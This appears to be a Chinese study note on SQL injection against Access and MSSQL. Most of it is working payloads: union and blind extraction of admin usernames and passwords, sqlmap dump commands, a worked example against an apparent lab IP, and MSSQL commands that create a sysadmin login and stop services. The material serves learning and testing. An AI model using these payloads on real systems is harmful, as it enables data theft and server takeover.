一.常见数据库
Access,Mysql,mssql,mongoDB,postgresql,sqlite,oracle,sybase 等
二.简要学习各种数据库的注入特点
(1)access
表名
———— 列名
—————————— 数据
注:
- access 数据库保存在网站源码下面,自己网站数据库独立存在,跟其他网站数据库独立,没有文件读写的操作
- 除了 Access 其他数据库组成架构基本都是大同小异。
- Access 数据库中没有注释符号.因此 、 – 和 # 都没法使用。
- Access 数据库不支持错误显示注入,Access 数据库不能执行系统命令。
简介:
- Microsoft Office Access 是由微软发布的关系数据库管理系统。Microsoft Office Access 是微软把数据库引擎的图形用户界面和软件开发工具结合在一起的一个数据库管理系统。它是微软 Office 家族的一个成员。Access 以它自己的格式将数据存储在基于 Access Jet 的数据库引擎里。Access 数据库属于文件型数据库,所以不需要端口号。
- 在 Office 2007 之前的 Access 数据库文件的后缀是 .mdb ,Office2007 及其之后的 Access 数据库文件的后缀是 .accdb 。
- Access 是小型数据库,当容量到达 100M 左右的时候性能就会开始下降。
Access 数据库中的函数
- select len(“string”) 查询给定字符串的长度
- select asc(“a”) 查询给定字符串的 ascii 值
- top n 查询前 n 条记录
- select mid(“string”,2,1) 查询给定字符串从指定索引开始的长度
Access 手工注入步骤:(只能爆破,繁琐,很少用)
1. 数据库判断
- Access 数据库特有的表是:msysobjects ,所以可以用它来判断是否是 Access 数据库
- exists(select * from msysobjects)
- ?id=1 and exists(select * from msysobjects)
- 如果这条语句正确,说明是 Access 数据库
2. 猜表
- Access 没有数据库的概念,所有的表都是在同一个数据库下。所以,我们不用去判断当前的数据库名,并且 access 数据库中也不存在 database() 函数。
- 对于判断存在哪些表,只能用以下枚举的方法来猜测是否存在某某表。
- 判断存在 sql 注入后,判断是否存在 admin 表,如果存在,正常查询,如果不存在,报语法错误。然后通过枚举表名爆破
- and exists(select * from admin)
3. 爆破字段
- 判断有 admin 表后,再判断 admin 表有多少列,假如 1-10 正常查询,11 列报语法报错,那说明有 10 列
- and exists(select * from admin order by 10)
- 判断出存在的列数后,再判断具体的列名。以下语句判断是否存在 name 列,如果存在,正常查询,如果不存在,则报语法错误。然后再通过枚举列名爆破
- and exists(select name from admin)
4. 猜数据
- 猜测完表名和字段名后,我们可以直接猜数据名
- id=1 union select 1,username,passwd,4 from admin
4. 爆破数据
- 1. 猜测完表名和字段名后,我们就看看这个表里面有多少行数据 ,如果 >99 查询正确,>100 查询错误 (这里是查询错误,而不是语法错误),说明有 100 行数据
- and (select count(*) from information)>100
- 2. 然后在猜测每个字段具体的数据了
- access 数据库中没有 limit,就不能限制查询出来的行数。但是我们可以使用 top 命令,top 1 是将查询的所有数据只显示第一行,所以 top3 就是显示查询出来的前三行数据了
- 猜测 admin 列的第一个数据的长度,如果大于 5 查询不出数据,大于 4 正常,说明 admin 列的第一个数据长度是 5
and (select top 1 len(admin) from admin)>5 - 猜测 admin 列的第一行数据的第一个字符的 ascii 码值,如果大于 97 查询不出数据,大于 96 正常,说明 admin 列的第一行数据的第一个字符的 ascii 值是 97
and (select top 1 asc(mid(admin,1,1))from admin)>97
第一行数据的第二个字符
and (select top 1 asc(mid(admin,2,1))from admin)>97 - 从第二行开始,查询数据就得用另外的语句了 , 因为这里的 top 只能显示查询前几条数据,所以我们得用联合查询,先查询前两条,然后倒序,然后在找出第一条,这就是第二条数据。
- 查询第二行 admin 列的长度
- and (select top 1 len(admin) from ( select top 2 * from information order by id) order by id desc)>55
- 下面是查询第 2 条数据的第 3 个字符
- and (select top 1 asc(mid(admin,3,1)) from ( select top 2 * from information order by id) order by id desc)>55
- 查询第三条数据的 4 个字符
- and (select top 1 asc(mid(admin,4,1)) from ( select top 3 * from information order by id) order by id desc)>55
注:
在 access 中,中文也可以用 asc 函数来表示,例如:asc(mid(“中国”,1)) 表示 中 字的 ascii 值,可以用 chr 来逆向得出值
asc(“中”) = -10544
chr(-10544) = 中
Access 工具注入步骤:
1. 判断数据库类型
sqlmap -u “xxx”
2. 爆表名
sqlmap -u “xxx” –tables
3. 爆列名
sqlmap -u “xxx” -T 表名 –columns(sqlmap -u “xxx” -T admin –columns)
4. 爆数据
sqlmap -u “xxx” -dump -T 表名 -C 列名(sqlmap -u “xxx” -dump -T admin -C username)
(2)SQL serve 注入 (mssql)
SQL serve 手工注入步骤:
1. 判断是否有注入
?id=1 and 1=1 正常
?id=1 and 1=2 不正常
2. 初步判断是否是 mssql
3. 判断数据库系统
;and (select count(*) from sysobjects)>0 mssql
;and (select count(*) from msysobjects)>0 access
4. 猜解列名数量 (字段数)
?id=1 order by (数字) 正常与错误的正常值
id=2 order by 1 成功 ;order by 2 成功;order by 3 失败; order by 4 成功;order by 5 失败
说明列数位于 3-4 之间。
5. 查找回显点
http://219.153.49.228:40603/new_list.asp?id=2
and 1=2 union all select null,null,null,null;挨个替换 null 发现 select null,2,null,null 页面出现回显。
这里的 1=2 是将前面的查询结果变为假把位置腾出来显示我们后面进行查询的结果。union select 不能用,就用 union all select 代替,UNION 内部的 SELECT 语句必须拥有相同数量的列。列也必须拥有相似的数据类型。同时,每条 SELECT 语句中的列的顺序必须相同。区别就是 union all 查询的结果是允许重复的。mssql 里不能用数字作为占位符,只能用 null
6. 查看数据库版本 / 当前数据库名
?id=2 and 1=2 union all select 1,(SERVERPROPERTY(‘edition’)),’3′,4;
或 ?id=2 and 1=2 union all select 1,(@@version),’3′,4。
查找所在库名称添加: ?id=2 and 1=2 union all select 1,(select db_name()), ‘3’, 4 找到数据库名称。
注意:这里也可以使用 db_name(1)、db_name(2) 等查询其他数据库。(这里加 ‘ 号是为了让数据类型一致)。SQL Server Express Edition(仅适用于 bai 32 位)—— 学习版 SQL Server Express 数据库平台基于 SQL Server 2005。
mozhe_db_v2
7. 查询表名
?id=2 and 1=2 union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype = ‘U’),’3′,4
注意:
- 由于 MSSQL 中不存在 limit,那么想要输出一条数据直接 top 1,输出两条数据 top 2,输出第二条数据 top 1+ 限制条件。
- 关于 dbo. 的意思参考这里 , 在 MSSQL 中每个库都有一个系统自带表 –>sysobjects 此系统表中对我们有用的只有 3 个字段,NAME 字段和 XTYPE 字段和 ID 字段,name 就是表名信息,xtype 是代表表的类型,只有两个参数,S 代表系统自带表,U 代表用户创建的表,id 字段的值用来连接 syscolumns 表
manage
7. 查询列名
?id=2 and 1=2 union all select 1,(select top 1 col_name(object_id(‘manage’),1) from sysobjects),’3′,4
替换 col_name(object_id(‘manage’),1) 中的 1 依次为 2,3,4 查出所有列名。
注意:
- col_name(object_id(‘manage’),1) 这句将指定表的指定列的列名显示出来(col_name 是系统函数,用法 col_name(obj_id,col_id))
?id=2 and 1=2 union all select 1,(select top 1 col_name(object_id(‘manage’),1) from sysobjects),’3′,4 //id
?id=2 and 1=2 union all select 1,(select top 1 col_name(object_id(‘manage’),2) from sysobjects),’3′,4 //username
?id=2 and 1=2 union all select 1,(select top 1 col_name(object_id(‘manage’),3) from sysobjects),’3′,4 //password
8. 查询数据
获取用户名;?id=2 and 1=2 union all select 1,(select top 1 username from manage),’3′,4
获取密码:?id=2 and 1=2 union all select 1,(select top 1 password from manage),’3′,4
或 ?id=2 and 1=2 union all select 1,(select username from manage),(select password from manage where username in (‘admin_mz’)),4
其他常用注入命令
确定数据库类型:
http://www.xxx.xxx/xxx.asp?id=6 and user>0
http://www.xxx.xxx/xxx.asp?id=6 and (select count(*) from sysobjects)>0 // 正常返回就是 mssql 数据库
and 1=(select IS_SRVROLEMEMBER('sysadmin')) // 判断是否是系统管理员
and 1=(Select IS_MEMBER('db_owner')) // 判断是否是库权限
and 1= (Select HAS_DBACCESS('master')) // 判断是否有库读取权限
and exists(select * from tableName) // 判断某表是否存在 ..tableName 为表名
and 1=(select @@VERSION) //MSSQL 版本
And 1=(select db_name()) // 当前数据库名
and 1=(select @@servername) // 本地服务名
获取数据库 (该语句是一次性获取全部数据库的,且语句只适合 >=2005,两条语句可供选择使用)
and 1=(select quotename(name) from master..sysdatabases FOR XML PATH(''))--
and 1=(select '|'%2bname%2b'|' from master..sysdatabases FOR XML PATH(''))--
获取当前数据库
and db_name()>0
获取当前数据库中的表(有 2 个语句可供选择使用)【下列语句可一次爆数据库所有表(只限于 mssql2005 及以上版本)】
and 1=(select quotename(name) from 数据库名 ..sysobjects where xtype='U' FOR XML PATH(''))--
and 1=(select '|'%2bname%2b'|' from 数据库名 ..sysobjects where xtype='U' FOR XML PATH(''))--
逐条爆指定表的所有字段的数据(只限于 mssql2005 及以上版本):
and 1=(select top 1 * from 指定数据库 .. 指定表名 where FOR XML PATH(''))--
一次性爆 N 条所有字段的数据(只限于 mssql2005 及以上版本):
and 1=(select top N * from 指定数据库 .. 指定表名 FOR XML PATH(''))--
添加和删除一个 SA 权限的用户 test:(需要 SA 权限)
exec master.dbo.sp_addlogin test,password
exec master.dbo.sp_addsrvrolemember test,sysadmin
停掉或激活某个服务。 (需要 SA 权限)
exec master..xp_servicecontrol 'stop','schedule'
exec master..xp_servicecontrol 'start','schedule'
SQL serve 工具注入步骤:
同 Access 工具注入步(或 Pangolin)
PostgreSQL 注入
Oracle 注入
Mongodb 注入
#补充:Access 暴力猜解不出的问题?
Access 偏移注入:解决列名获取不到的情况
讲解地址:access 偏移注入 _baynk 的博客 -CSDN 博客 _access 偏移注入
源码地址:(asp+access)https://pan.baidu.com/s/1IX6emxDpvYrVZbQzJbHn3g 提取码:l9f6
查看登陆框源代码的表单值或观察 URL 特征等也可以针对表或列获取不到的情况
暂无评论内容